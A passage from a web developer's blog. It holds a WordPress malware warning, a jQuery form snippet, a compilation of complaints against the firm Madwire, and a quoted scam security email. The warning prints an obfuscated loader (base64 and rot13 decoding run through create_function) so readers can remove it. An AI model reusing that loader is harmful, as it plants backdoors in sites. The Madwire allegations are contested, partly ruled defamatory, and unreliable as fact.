12th (green) = -27.3dB
13th (green) = -29.5dB
14th (green) = -32.0dB
15th (green) = -34.5dB
16th (green) = -36.5dB
17th (green) = -38.5dB
18th (green) = -41.5dB
19th (green) = -44.0dB
20th (green) = -45.5dB

A New-ish WordPress Hack

DELETE anything that looks like the below from all your theme files.

$z=get_option(“_transient_feed_fbc2353992919b11fc48934d3e55bd94″); $z=base64_decode(str_rot13($z)); if(strpos($z,”95A5440F”)!==false){ $_z=create_function(“”,$z); @$_z(); }

 

 

cForms Character Limit/Counter (without the REGEX thing)

I got quite frustrated trying to find a way to use the regex method of limiting the number of characters in a ‘multiple lines of text’ textarea in cFormsII, and I did not want to bother the awesome people that maintain the cForms homepage, cuz they get harassed enough so I went another route: jQuery.

The main problems I was having was no character count/limit, no way to insert additional HTML into the form and for some reason, when the form field contained the REGEX limit (the normal cForms recommended way), it was causing the form to not allow re-submit after a failed submit.

jQuery is awesome for stuff like this.  I added a script to my footer, next to <?php wp-footer(); ?>, in other words, right before </body>… Also, of course the whole thing needs to be contained inside of <script type=”text/javascript”>and</script> and your site needs to have already loaded jquery.js, probably in the <head> (what site doesn’t these days)

 //this first part ads an additional span, with the class 'remain', colored blue, right before the form field label,
 // which says the max characters allowed... Your selector will most likely be something other than #li--10
 jQuery( '#li--10>label' ).append( '<br><span class="remain" style="color:blue;">200</span> <span>characters remaining</span>');
 // this part counts and limits the characters
 // notice my selector is for an element with id="#cf_field_10" ...Yours will likely be different
 jQuery('#cf_field_10').keyup(function () {
 // the maximum characters you want to allow
 var maxchars = 200;
 var tlength = jQuery(this).val().length;
 jQuery(this).val(jQuery(this).val().substring(0, maxchars));
 var tlength = jQuery(this).val().length;
 remain = maxchars - parseInt(tlength);
// this final part rewrites the contents of the span.remain to how many characters are remaining as the user types
// Again, the selecter needs to be changed to fit your needs
 jQuery('#li--10>label>span.remain').text(remain);
});

 

NOTE
I may have messed up with my commenting syntax so I’ll paste the whole thing uninterrupted below.

Also, obviously, you have to be dead-on with your class/id selectors.

jQuery( '#li--10>label' ).append( '<br><span class="remain" style="color:blue;">200</span> <span>characters remaining</span>');
 jQuery('#cf_field_10').keyup(function () {
 var maxchars = 200;
 var tlength = jQuery(this).val().length;
 jQuery(this).val(jQuery(this).val().substring(0, maxchars));
 var tlength = jQuery(this).val().length;
 remain = maxchars - parseInt(tlength);
 jQuery('#li--10>label>span.remain').text(remain);
 });

WARNING: MADWire Media, Marketing 360: Behind the veil of SEO and Astroturf

To Bluehost staff and legal dept: Please look closely at the specifics of any court orders before assuming that this content is actually not compliant with any documents sent by parties wishing to have this content removed from the web. I have carefully complied, line-by-line, with all rulings. Thanks.

Jump to original Madwire 360 / Marketing360 reviews post below

Visit the unlisted/hidden Madwire / Marketing 360 Yelp! page here

Jump to the comments section of this post

I’m back! And I’m in total compliance. :)
UPDATE 2015-02-08: So apparently, Madwire was able to get my entire hosting account taken down with a court order resulting from a defamation claim. But this post will return, albeit slightly altered to protect my hosting account from being shut down again.
In the meantime, the court ruling contains all the content in question, including all the Madwire Reviews and Madwire Complaints and there’s a copy of it here: http://cvweb.clerk.leon.fl.us/cvimage/official_records/download_document.asp?book=4729&page=01970&type=OR&jwuser=&subnet= (it takes a few minutes to load because it’s around 6MB and 60 pages)
Also, notice: the Affidavit of Diligent Search, mentioned on page 2, is conspicuously missing from the evidence. I wonder if that was an accident. I think not.
To Madwire: just let it slide! Everytime I update the content here, I move up in search results! It’s called the Streisand Effect: http://en.wikipedia.org/wiki/Streisand_effect
And frankly, I’m sick of this post and having to keep changing it after account suspensions (I think this the 4th time!). But I wont go dark. It’s a matter of principle.
To anyone wishing to read my post as it appeared in December of 2014, including the comments, it’s stored at the WayBack Machine: https://web.archive.org/web/20141208100043/https://andrewapeterson.com/2013/12/warning-madwire-media-madwire-360-behind-the-veil-of-seo-and-astroturf
NOPE! this has been taken down :)
Meanwhile, I must disable comments on this post for the moment, while I remove some content ruled by a Florida court to be defamatory.
[2015-02-25: COMMENTS ARE BACK!]
But feel free to send me a message via my contact form: https://andrewapeterson.com/contact
When you see XXXXX stuff, it’s words I needed to delete from the below content in order to be compliant with the court order.
[update 2015-01-11] I heard through the internet that Madwire is no longer using a non-disparagement bit in their standard contract.  This is good news if it’s true, but I have no way of knowing for sure if it is true.  So if you have any info on this, please comment!  This post is here to help other people.  So if you can help me keep the info up to date, since I have great SEO power concerning Madwire, you will help other people.  Please do comment. Is this real? It’s a link about madwire’s change of policy. Thanks, everyone, for contributing. We may be making a difference here!
[update 2014-09-26] Madwire has appeared to have filed, in a Florida court, a “Complaint for Declaratory Judgement,” against an anonymous person whom, according to the document, HERE (a PDF) is one of my my commenters below. This appears to be a way that Madwire can get Google and other search engines to un-index this blog post, Madwire’s Yelp! page and a few other search results where this anonymous person has posted.  So apparently, one of my commenters is the defendant known as “John Doe 1” in the filing (Madwire is referred to as the “Plaintiff”).  And I just noticed that Madwire’s Yelp! page suddenly has a meta noindex tag (<meta name=”robots” content=”noindex”>) on it and no longer comes up in Google search results for ‘Madwire Reviews.’ So I guess Yelp! is cooperating with Madwire for whatever reason.  I’ve always had pretty positive feelings about Yelp! despite all the recent negative hype about them, but if they’re willing to hide negative reviews, it certainly decreases their value as a consumer awareness product.  Also, I was assuming that at some point Madwire would contact me or at least post a comment on this post, but so far it appears that they’d rather try to control their reputation through back channels.  Interesting.  To Madwire: I know you guys are looking at this.  Don’t you have anything to say?
[update 2014-06-14:] My site has been taken down again over this post. This time it was ripoffreport.com that sent my hosting company a DMCA Takedown.  Their claim is that my ‘fair use’ quotation of negative Madwire reviews from their site (which contained attribution) was a copyright infringement!  So I had to remove several negative reviews/stories concerning madwire.  To the next reviews site considering sending a takedown or threat: you are only making this post more visible! Every time it’s edited/updated, it gains value in google serps.
[edit 2014-05-07:]Pissed Consumer sent my hosting company a DMCA takedown notice for this post, due to me quoting negative reviews for Madwire. I’m pretty sure this post is fair use, but my hosting company wont stick up for me  so I had to delete the pissedconsumer reviews in order to get my site back online.  I’ve linked to the originals.  Keep in mind, original bad reviews on pissedconsumer.com are often hidden on the page  and you have to click ‘read the complaint’ to see what you’re looking for.

Original post starts here.

The other day I posted about a friend’s personal experience with MADWIRE, which was horrible to say the least.

I’ve become kind of fascinated by how well this company appears to have created a facade of positive reviews and press, making them seem like a great company to hire.

It’s actually quite difficult to find anyone out there saying anything bad about them, which is a bit suspicious (even the companies I love the best are getting flamed occasionally).  So I’ve been doing some deep googling and I’ve found a lot of stuff that not only sounds more credible and like real people wrote it, but that’s also totally consistent with my experience.

So let the SEO battle begin!  I have great Google mojo with my blog.  And my goal here is to make the world-wide neighborhood a better, safer place.  So here is a compilation of what I’ve found about Madwire that may not be so easy for most people to find, since the search results for things like “madwire reviews” and even “madwire negative reviews” are so cluttered with astroturf.

From the Madwire / Marketing360 Better Business Bureau pages:

Complaint #1: 10/10/2013

Complaint: We paid for two months of Search Engine Optimization & AdWords for our company website through Madwire Media. We never reached the top of the search engines, we received 1 potential customer who filled out our “Contact Us” form, that was it. We paid $750 a month for a total of $1450.00 plus Madwire has tried to pull more money out of our account without authorization. They have added all these additional fees and now are threatening to take us to collections. They promised us a “free” website, they put it up for us but once we cancelled our marketing through them, they posted our website as “ACCOUNT SUSPENDED” which reflected horribly and lost us potential customers from consumers that were directed to our site through our own advertising means. We called them and asked them to put the website back up but they said they wouldn’t unless we paid for the hosting through them but it was a ridiculous amount. The website was supposed to belong to us but they wouldn’t give it to us without paying for their hosting (we already have hosting through someone else). We were offered so much and received nothing but headaches.

Desired Settlement: My desired settlement would be a refund of all money paid, $1450. They didn’t deliver on ANY of their promises. They said we would be on the top of the internet searches, which didn’t happen.Also, we didn’t get to keep the website. We were much better off than before we ever started with Madwire. From what I have read on the internet, we are not the only company that Madwire has scammed. Since internet marketing is so vague, they are able to take advantage of many consumers.

Business Response: Attached is the contract for reference and a receipt of refund. I talked with the client about the contract and services that we provided. We have already made a refund in the amount of $720.00 and we are not moving forward with collections on the remaining part of the contract.

Business Response: An email was sent to ‘*********************’ on 8/21 outlining the details of the contract as well as additional. Also an email was forwarded to ****************** on 8/23.

Consumer Response: Complaint: *******

I am rejecting this response because: they did NOT give me a refund, they just didn’t charge me after I cancelled my account. It’s not that I MISUNDERSTOOD anything (like Jerry’s letter refers), it is that they are rude, did nothing with all the money we gave them and used our “credits” on what? We don’t know! They are a scam and I am demanding full refund. I will keep  on warning other potential customers  about their misdeeds b/c no one deserves to lose $1500 on absolutely nothing, especially when you are a small business, like us.

Regards,

******** ******

Business Response:
That should do it. One is the contract which speaks to what the consumer was complaining about. All of the information is in there. And the other is an invoice for a refund. This client signed 6 month contract to which we were going to send to collections for early cancellation 2 months in on the contract. Upon receiving the email they filed a complaint with the BBB. In addition we invested $3K dollars of time on a website as part of the agreement. Outlined within the contract it talks about early cancellation with the option of hosting. They disregarded all emails. We took the site down that we own for nonpayment. Not only did we not pursue collections for breach of contract after speaking with ******** we also gave them a refund. It is unfortunate how this process works.

15 Day Collection Letter sent 7/31/13
30 Day Collection Letter sent 8/15/2013

If you have any other questions please feel free to reach out to me.

Thanks.

BBB’s Final Determination: Business offered a resolution. Consumer did not pursue further with BBB and the matter was assumed to be resolved

Complaint #2: 9/16/2013

Complaint: In June of 2013, Madwire Media Reviews contacted me and performed high pressure sales tactics to get me to sign a contract with them. They asked me to give them a large sum of money to start the campaign, which included web design, marketing, seo, and pay per click ads. They made all kinds of promises to which they were not able to hold up to. They promised a good web design and I get a mediocre, at best, design. Their site is beautiful and they said mine would be similar. They lied. They also told me that I would have 100% control of my website and be able to host it on my own server. Another lie. They have control of my website and I can’t make changes because I can’t access the backend. Madwire Media promised me 15-20 calls per day, based on my budget and the keywords targeting for my niche. Another lie. My campaign has been running for over two months and I have received two calls in that time period. Once call I actually booked the job, a $60 job, 45 miles out of my territory. I did the job anyway because my business, my name, and my reputation are at stake. They filled me full of their lies and promises in order to get me sign a contract and give them my payment info. I have done one job in the two months since my campaign started with Madwire Media and when I asked for a refund, they refused. They are not familiar with my industry and are targeting the wrong keywords that aren’t remotely targeted to my industry and they are charging me a premium rate and expect me to keep paying them $2500 per month for services NOT rendered. This fraudulent company needs to be exposed for who they are.

Desired Settlement: I want 100% of my money back. In my business, if a customer is not happy with the work, I redo it for free. If they are still not happy, I refund their money because my reputation is at stake. They promised me I could get my money back yet they refused to refund it when I asked.

BBB’s Final Determination: Consumer accepted resolution offered by the business.

Complaint #3: 9/5/2013

Complaint: I was told that there was NO contracts by several people, several different times before starting my marketing and web design with Madwire Media. **** ******** and ******* ***** both had stated that there is no contracts, until we no longer wanted to use there services after three months of very poor results and NO service. They told us one thing and had us sign documents that were supposedly forms that gave them permission to edit and change our current webpage, little did we know in the small print they lock you into a 6 month contract. This is the most dishonest and rude company that I have ever come across. We would like this matter resolved before we have to hand things over to our lawyers. Please Advise

Desired Settlement: I would like this to be resolved quickly and professionally, I would like for the remaining time and money in our contract to be wiped clear and the harassing phone calls and emails to STOP. I cant believe that there are companies out there like this that LIE and DECIEVE people to make a living.

Business Response: I spoke with ****** and addressed the concerns over the contract and client was satisfied.

BBB’s Final Determination: Business offered a resolution. Consumer did not pursue further with BBB and the matter was assumed to be resolved

Now on to Yelp! where MADWire currently has ONLY negative reviews [2014-10-07: this has changed. Now Madwire has one star on yelp but yelp appears to have cooperated with Madwire in burrying their page. Yelp put a noindex tag on Madwire’s one-star page so it wont show up in search results]:

Patty S.
Fort Collins, CO

7/15/2013
Just the fact that another reviewer is saying “I’ don’t know what this guy is talking about” and then you can’t find that review gives you an indication of how many people are not happy with XXXX XXXXXXX XXXX XXXXXXXXXXXX XXX XXXXXXXXXXXXXX XXX XXX XXXX. Once they have your XXXXXX XXXX – XXX XXX XXXXXXXX XX X XXXXXXX XXXXX. XXX XXXXX XXXX XXXXX XXXXXXXX XX XXXXXX XXXXXXX. it is nice looking with great images and graphics but no one can find it. XXXX XXXX X XXXX XXXX XXXXX XXXXXXXXXXXXX XXXXXX XXXXX XXXXXX XXX…..and i suspect many bad reviews have been deleted here because they are misssing from here…….what does that tell you? Yelp took money to get those taken off…….hmmm let’s see how long this review lasts….

Comment from Jerry K. of Madwire Media
Business Owner 8/28/2013 I can’t find your account as doing business with us. Please contact me so that I can take care of… Read more

Joe S.
Huntington Beach, CAJoe S.
4/30/2014
Damn I just spent 20 minutes on the phone with Marketing 360 the salesman had all the answers and only wanted $ 2500.00 per month to start? But promised first page placement so I just goggled SEO companies in Denver and guess what there not even on the first page! So I inform the salesman of my search result and he informs me that there parent company in Madwire Media and sure enough they show-up on the 2nd page with all these wonderful Yelp reviews.

Looks like Yelp really saved me time and money, Thanks

A’ngela S.
Gilbert, AZ
hare review
A’ngela S.
12/2/2013
BUYER BEWARE!!! I am not kidding you, if you choose to use MadWire360 or Mad wire media or whatever they go by (hint it will have 360 in it somewhere) You are XXXXXXXXX XXXXX XXXXX XX XXX XXXX!! They know how to market their site and unfortunately the talent ends there.. After they smooth talk you into their wonderful service and pass you off to some “Specialist” SEO person, you become just another credit card paying their overpriced fees.. I was with them 3 months and not one lead!!! i spent over 7k and got zip from it!! All i can say is stay away and remember, Pay per click is cheaper than these guys and SEO just means blog on your own site!! Save your cash…

Good Luck
AZ. UnHappy Sucker..

Randy W.
Houston, TX
hare review
Randy W.
5/1/2014
STOP!! DON’T USE THIS COMPANY!!! I don’t want anybody to have to go through what I went through. Bottom line. This company will take your money & never do the service. XXXXXXXXX. XXXX XXXXXXXXXXXXX. Can’t created a logo or design. They always want money up front. Don’t ever pay anybody up front. This company is all about sales . The Company is XXXXXXXXXt, full of fast talking salesmen, very expensive and doesn’t deliver the product. BUYER BEWARE!!!!!!!

John G.
Fort Collins, COJohn G.
8/6/2013
When it comes to SEO it doesn’t get much worse than MadWire Media! XXXX XXX XX XXX XXXX XXXX XXXXXXX XXXXX XXXXXXXX XX XXXX XXX XXXXXXX XXXX XXXXXXXX XX XXXXXXXXXX. Not only that, I had previously left a review on their Google listing along with close to 10 other dissatisfied customers and their listing has seemed to magically disappear along with all of the negative reviews. They obviously try their hardest to hide how bad they suck. I couldn’t seem to find any other SEO companies that had to do such things. These guys are bottom of the barrel! They provide unnecessary services and XXXX XXXXXXXXXXX XXXXXXXXXXXXX or they just don’t care about their clients. Whichever it is, it would be wise to steer clear of this company.

[REDACTED]

Comment from Jerry K. of Madwire Media
Business Owner 2/26/2014 FAKE REVIEW! John Gotti is deceased. This is not a customer nor have we ever done business with John… Read more

Charles D.
Junction City, ORCharles D.
9/21/2013
Just when I thought all my issues with Madwire were well behind, I got rid of them over a year ago, they recently started billing my card for someone else’s website! It’s pretty scary that they have kept my credit card information on file well over a year after firing them. Not only that, the billing information is now completely different from when we used them, so obviously they don’t even bother with AVS. I guess why would you bother when I’m pretty sure keeping actively old clients’ card info on file if probably illegal and definitely unethical. The fact that they are so XXXXXXXXXXX that they start to bill me instead of a competitor’s account is absolutely ridiculous.

Originally we had Madwire design a logo, website, and manage some seo work. Problems started from the start. They could never get the logo right and I ended up having to hire someone else to provide custom artwork to be used in the logo. For the amount I was paying them for logo design I expected custom and original work. What I received was below par with no effort or creativity behind it. It was as if I hired one of the $4 an hour guys off oDesk but at 20 times the cost.

Now when it came to the website I was already pretty leary of them from the logo design part of the package. The beginning part of the web design was a complete nightmare. The project manager wouldn’t even respond to my requests or questions. I had to contact the supervisor and complain. I was assigned a new project manager to take over the design, or lack thereof. As a side note, the previous project manager is still employed there. The new project manager handled everything much better, however they really pumped the site out quickly due to the job being way behind and there were little errors I had to pester them about to get fixed.

The next disaster came their SEO package. When we signed up for all of this work to be done it was actually an SEO package. When the site was up and running they said they no longer do that and it is now a Madnoodle package where you are listed and gift cards go up for penny auction. Now, SEO-wise this did nothing for our website. This really didn’t even help sales either. We would pay them, they would buy these gift cards from us to post on their Madnoodle site, and then customers would use the gift cards to buy products on our site. It was usually the same people who would buy these gift cards so no new customers were being attracted. Plus these same customers haven’t returned after using these gift cards that we basically bought for them. I should also note the penny auctions were a giant fail and they no longer do this.

My advice is to steer clear of this company. If you don’t you will definitely regret it! Just when I thought all our problems with them were over with… Hope you enjoy the chargeback fees!

Edit 2/14/14: These jerks still have not completely removed my information! I still get invoice emails monthly for their crappy plugins I don’t use. Granted, the invoices are for $0.00, but just stop! I’ve already asked for our information to be completely removed but of course they can’t comply.

To touch on the management responses on some of these reviews (Boo hoo hoo Yelp is being mean to us, these reviews are fake, blah, blah blah). How about you actually listen and fix your company instead of complaining? These negative reviews are sticking because more negatives come from real Yelp accounts, compared to the many positives that are from accounts who have only reviewed Madwire and then never logged in again. Which ones do you think look fake to Yelp? Oh, and just because someone has a fake name doesn’t mean their review is fake either.

Holli W.
Charlotte, NCHolli W.
1/24/2014
Worst business decision I’ve ever made. DO NOT USE THEM! They will sell you and do a great job selling you. XX XX XXX XXXX. They are hard to work with, never responding, never making changes. It took WEEKS for them to make ONE small edit. They say they will create banners for your website, they are ugly and horrible. I even sent them pictures of what I liked. I finally had to pay someone to do it right. So much money wasted.

Comment from Jerry K. of Madwire Media
Business Owner 2/26/2014 I can’t find your account as doing business with us. Please contact me so that I can take care of… Read more

Ekaterina B.
San Jose, CAEkaterina B.
10/17/2013
I agree with the review that said “$5,000, and not a single client.” This is how I felt when I was using this company. It is true that they XXXXXXXXXXX XXX XXXXXXXXXXXX. When I finally questioned them why I only got ONE client in 3 months, they said “well, lets try another thing.” I am not paying for trial and error. I pay them to know what they are doing. Horrible and XXXXXXXXX.

Michael G.
Brentwood, CA
hare review
Michael G.
5/10/2013
First to Review
Working with Madwire has been one of our companies biggest mistakes! It has been over a year and a half and we still do not have a finished product. We have gone through 3 programmers and it seems like they just keep wasting our marketing departments time. We spent a significant amount of money and expected a certain amount of service. They have not delivered. I would not recommend them to my worst enemy. The frustration has built up to the point where we want to jump ship and get our money back.Comment from Jerry K. of Madwire Media
Business Owner 2/26/2014 Please contact me so that I can take care of the situation. I can’t find your account as doing… Read more

From truckmountforums.com (apparently madwire’s sales team targets people’s carpet cleaning business?)

9/12/2013

Attention fellow carpet cleaners. I am posting this to warn everyone of a XXXX being pulled by Madwire Media. I posted a while back, asking if anyone had any experience with them. I didn’t receive very much info so I assumed they were legit. I should have done more research and I didn’t, and now I’m paying for it. So, I am here to expose these XXXXXX and make sure none of you get XXXXXX XXX. Please watch my videos, subscribe, and share so that we can expose these XXXXXX and hopefully prevent anyone else from making the same mistake I did and losing their entire business to XXXXXXXXXXXX XXX XXXXXXXXX companies like Madwire Media. I will not stand idly by as they XXX people off and are not held accountable for it. In my business, if a customer is not happy with the work performed, I will redo it at no charge. If they are still not happy, I will refund their money. Why? Because my name, my business, and my reputation are at stake and I don’t want any of it tarnished over a few dollars. Madwire Media does not feel the same. They think it’s ok to XXXXX XXXX XXXXX XXXXXXXXXXXXXX. XXXX XXXXX XXX XX XX XXX, as long as you get the sale. Please, I ask all of you to help with my plight. I may go out of business before I get soon but if I do, I will take the ones responsible with me and I will make sure they can’t XXXXX XXXX XXXXXX XXXX. Please go to http://oxydry.co/carpet-cleaning-marketing/ and watch my video directed at you, my peers. Also, you can go here http://oxydry.co/madwire-media-reviews/ and if you don’t mind, please leave a comment on the pages. Your help in this matter is greatly appreciated and I hope I am able to dig myself out of this hole.

Thanks to all.

Read more: http://www.truckmountforums.com/threads/madwire-media-reviews-warning-madwire-media-scam.47238/#ixzz2nH8DiZq9
Follow us: @truckmountforum on Twitter | truckmountforum on Facebook

From scamgroup.com

9/12/2013

Took my entire advertising budget and single handedly almost bankrupt me.

On May 28th, Karen Brennan with Madwire Media sent me an email but claimed to be from CarpetCleaningMarketing360.com. Now this is one of many of their niche scam sites that they have. Over the course of a month she called and called and called. Finally I decided to listen to her and what she told me sounded amazing. She made all kinds of promises about me getting 15-20 calls per day with their marketing and seo. Well I was just starting a business and decided to go with Madwire Media because I simply didn’t have time to go out and actually do the work I needed to do on top of trying to market and advertise. Karen told me that based on the amount of monthly Google searches for my keywords, I would get 15-20 calls per day and I figured I should at least book 2-3 of them. So I sent them a large some of money, my entire advertising budget based on the promises made.
Fast forward to the date of this report. My campaign has been running for over 2 months now. I got one call in 2 months and it was a $60 job, 45 miles from me. They are targeting niche long tail keywords that are barely related to my industry and get very few searches. My seo campaign is horrible. They have control of my website and can lock me out at any time. XXXX XXX XXXXXX XXXX XXXXXXXXX XX XXXX.
Now in the meantime, I have had my phones turned off and I literally cannot pay my bills. I gave them my entire advertising budget because they promised me a big jumpstart in business and promised I would be busy. XXXXX XXX XXXXX XXX XXXXXXX that do NOT know what they are doing,One thing they should have thought about before XXXXXXXXX XX XXXXX and destroying my business…… I was an seo guy for 7 years, I am a single father with 3 children and this is my lively hood. I put my entire savings into my idea and they single handedly destroyed it. So, I have made it my mission to make sure they don’t XXX anyone else off. I am broke, getting ready to have equipment repossessed if I can’t sell something to make the payment, I have resorted to applying for emergency food stamps to feed my children until I can recoop something or until my seo efforts pay off.
I have asked them for a refund several times and they have refused, therefore, I am going to make sure they never steal from another company or person that needs seo work or internet marketing services.
Madwire Media has gone around to all these review sites including ripoff report and have posted fake positive reviews because of all the negative reviews they are receiving. They are paying these companies like yelp and ripoff report to remove negative reviews so they can keep their Madwire Media Review XXXXX up.They XXXXXXXXX my business, I have nothing left to lose. I will make it my plight in life to shut these XXXXXXXXX down. I hope that Scam Group will help shut these guys down before before someone else loses their life savings to these XXXX artists. XXXXXXX XXXXX XXX XXXXXXXX XXX XXXX XXXX XXXX XXXXXX XXXX XXX. I will not sit by idly and let them XXXXX from others.

From a comment on one of MADWire’s own YouTube videos 

Be very careful about using Madwire Media. We spent over $3k with them and didnt get 1 single client. Our website had images missing and took 7 weeks to complete rather then the 14 days we were told. If you do want to use them make sure you record every telephone conversation you have with them and get everything the sales person tells you in writing!! Do your research before using Madwire Media! There appears to be a consistantly to the negitive feedback which tells its own story!!

There were similar testimonials on some other youtube videos I found last night, but they’ve been deleted.

Now on to RIPOFFREPORT.com

It seems that when you get a negative review on ripoffreport.com, you can pay to have it covered up!  For instance, with Madwire, if you search for “madwire reviews” you certainly find ripoffreport, but the titles are negative and review copy is a boilerplate positive thing put there by ripoffreport!  Dubious.  I finally found a few of the original bad reviews at ripoffreport

9/25/2012

[redacted! ripoffreport sent my hosting a copyright infringement takedown notice because I quoted their site]

11/2/2012

[redacted! ripoffreport sent my hosting a copyright infringement takedown notice because I quoted their site]

from pissedconsumer.com, also highly astroturfed but there’s stuff there if you dig

August, 20xx

HERE is the original Negative Review of Madwire.  You must click on “Read the Complaint” [content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay]

march 6 20xx

HERE is the original Testimonial about Madwire / Marketing 360.  You must click on “Read the Complaint” [content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay] 

Jan 29, 20xx

[content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay] 

March 15, 2012

HERE is the original Customer Complaint about Madwire / Marketing360.  You must click on “Read the Complaint”
[content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay]

March 1, 2013

HERE is the original Customer Complaint about Madwire / Marketing 360.  You must click on “Read the Complaint” [content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay]

January 29, 2013

HERE is the original Customer Complaint about Madwire / Marketing360.  You must click on “Read the Complaint” [content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay]

It’s me again.  I have stuff to do today so I’m going to stop for now.  You get the idea.  Maybe I’ll add more later.

 

[update 2014-10-01]the following is a list of other domains that appear to associated with Madwire. If it’s the same people, I don’t see any reason why there’s not plenty of love to go around. It is ‘Loveland, Colorado; after all
  • bigcommercemarketing360.com
    html title: #1 Bigcommerce Marketing Platform | Bigcommerce Templates & Design
    Daily visitors (according to informer.com): 1 643
    Keywords:Big Commerce, bigcommerce, marketing 360, bigcommerce seo, marketing360
  • ecommercemarketing360.com
    html title: eCommerce Marketing Services – eCommerce Software & Website Templates
    Daily visitors (according to informer.com): 1 186
    Keywords:ecommerce 360, ecommercemarketing360 review, ecommerce360, ecommercemarketing360 scam, free ecommerce store mockup
  • mymarketing360.com
    html title: Login – Marketing 360®
    Daily visitors (according to informer.com): 686
  • contractormarketing360.com
    html title: Contractor Marketing, Leads for Contractors – Websites & Contracting Advertising Services
    Daily visitors (according to informer.com): 534
    Keywords:construction website templates, contractor marketing, ads website template, free building contractor website templates, free contractor website templates
  • businesswebsites360.com
    html title: Business Websites 360™ – Best Business Website Templates & Designs
    Daily visitors (according to informer.com): 534
    Keywords:business website templates, business marketing websites, top business websites, marketing website templates, mad360
  • mad360.net
    html title: Mad360 – The Leader in small business inbound marketing
    Daily visitors (according to informer.com): 534
    Keywords:360 marketing, marketing 360, marketing360, mad 360, mad360
  • wordpressthemedesigner.net
    html title: WordPress Theme Designer | Custom WordPress Theme Designers
    Daily visitors (according to informer.com): 534
    Keywords:custom wordpress theme design, wordpress theme designer, theme designer, custom wordpress theme designer, wordpress transportation theme
  • chiropracticmarketing360.com
    html title: Chiropractic Marketing 360 | Chiropractic Websites | Chiropractic Advertising | Chiropractic Website Templates
    Daily visitors (according to informer.com): 534
    Keywords:Chiropractic marketing, chiropractor marketing, 360 marketing, marketing 360, marketing360
  • dentistmarketing360.com
    html title: Dentist Marketing 360 – Dentist Websites | Dentist Advertising | Dentist Website Templates
    Daily visitors (according to informer.com): 89
    Keywords:dentist marketing, dental website templates, dentist website template, dentist website templates, template dentist free
  • medicalmarketing360.com
    html title: Medical Marketing 360 – Medical Websites | Medical Advertising | Medical Website Templates
    Daily visitors (according to informer.com): 89
    Keywords:medical website design, medical website design templates, healthcare marketing 360, doctormarketing360, youmedical template
The Registrant of all these domains appears to be John Kellogg who is also the CFO of a company called Traders Network or tradersnetwork.com which shares the same address as Madwire. I’m not sure but John Kellogg may be the same person as Joe Kellogg and/or JB Kellogg.
A few extra search terms for Marketing360
  • Natural Listing Ads
  • Top Placement Ads
  • Retargeting Ads
  • UXi Websites

Before Hiring MADWIRE, Be Warned

OK, so I have no doubt that there are plenty of honest and capable people at MadWire, or MadWireMedia, or MadWire 360 or whatever.

But there are some things you should be aware of before signing a contract with them.  I’m writing this because in searching for anything negative about Madwire, I’ve found that they have completely bombed google.  And meanwhile, they are buying Pay Per Click Ads like nobody’s business, so it’s really hard to see through their promotional efforts, which I must admit, are pretty thorough.  But such a substantial publicity push serves as what is essentially a reality distortion field for you and me–The kind that would make us think that Godaddy is actually the best choice for shared Linux hosting, which I think most developers would agree, it isn’t.

So here’s the thing I want to warn you about.  It is quite possible, in my opinion, according to what I’ve seen, that if you do not carefully negotiate your contract with Madwire, you will find yourself locked into a perpetual hosting agreement in the ballpark of $50/month.

AND

The Design work you hired them to do, they (or their legal representation) will claim is their intellectual property.  So you can walk away from a hosting agreement that’s about 8-10 times more expensive than it should be, and have nothing, or continue to throw an unnecessary $30=$40 or more dollars into the wind every month, essentially FOREVER.

In other words, what someone I know was lead to sign off on, according to someone at Madwire or claiming to legally represent them, was not Work-for-hire.

Good Web Developers (I include myself in this category, thank you) working for individuals and small organizations understand that the client is best suited if they always have as many options as possible.  Those options necessarily include the ability to hire someone else at any time and/or do other things with the hosting they are paying for.

This means:

  • whenever possible, use non-proprietary code such as WordPress, Drupal, Joomla, Concrete5 Etc (making easier to hire from a pool of other developers out there)
  • The Client should own their own Domain Registration
  • The Client should own their own Hosting Account.
  • All design work should be work-for-hire.  Ownership of the design needs to be the client’s
  • All build work should be work-for-hire.

My understanding is, according at least to one contract I know of with Madwire, their model is that you “rent” their design and development work, contingent on whether or not you continue to pay them way too much every month for hosting that you do not actually have the freedom to use.

And if you want out?  Well, as far as I know, they will then want to be paid off for the release of rights to what should have been work for hire in the first place.

So please, take these things into consideration before hiring Madwire or anyone else including ongoing hosting charges as part of the proposal.

 

 

Dubious Solicitation Regarding WP Security: Clearwater Security Research Lab

Dear [your name here],

How are you? I am Fahad Hassen, a php developer from Clearwater working
with website security. I am writing to ask whether you are aware that your
domain configuration has serious security issues which lets anyone use your
email address without your authorization?

Just to prove this to you, I can send an email to you from “your email
address itself”. Do you want me to send an email to you from your mailbox
itself, so you can see the problem?

I found your website while researching the websites using the wp-e-commerce
plugin, as part of a security research to strengthen the plugin’s security.
I also found that your website’s wordpress files are not protected, which
means by right clicking and checking the source code of the website, almost
anybody can figure out the framework you are using (wordpress), its
version, the themes and plugins you are using etc. A competitor or anybody
interested in your site can easily duplicate your site since the whole
structure of your site is exposed. Further, since wordpress is very prone
to hacking and hackers target the open URLs of the system such as wp-admin
and wp-login and other common files, your site is always under the risk of
attack. To overcome this, you will need to takeaway all the traces of a
standard wordpress site, so no attacks/hacking will work on your site. For
anybody viewing the “source”, all they will see is nice and clean HTML and
no traces of wordpress.

I am sure you understand the concerns I have raised, and I can fix these
for you for a very modest fee if you wish. Please let me know.

Thank You and Regards,

Fahad Hassen
Senior PHP Developer
+1 727 474 1044

Clickingz Security Research Lab, Clearwater FL. 33760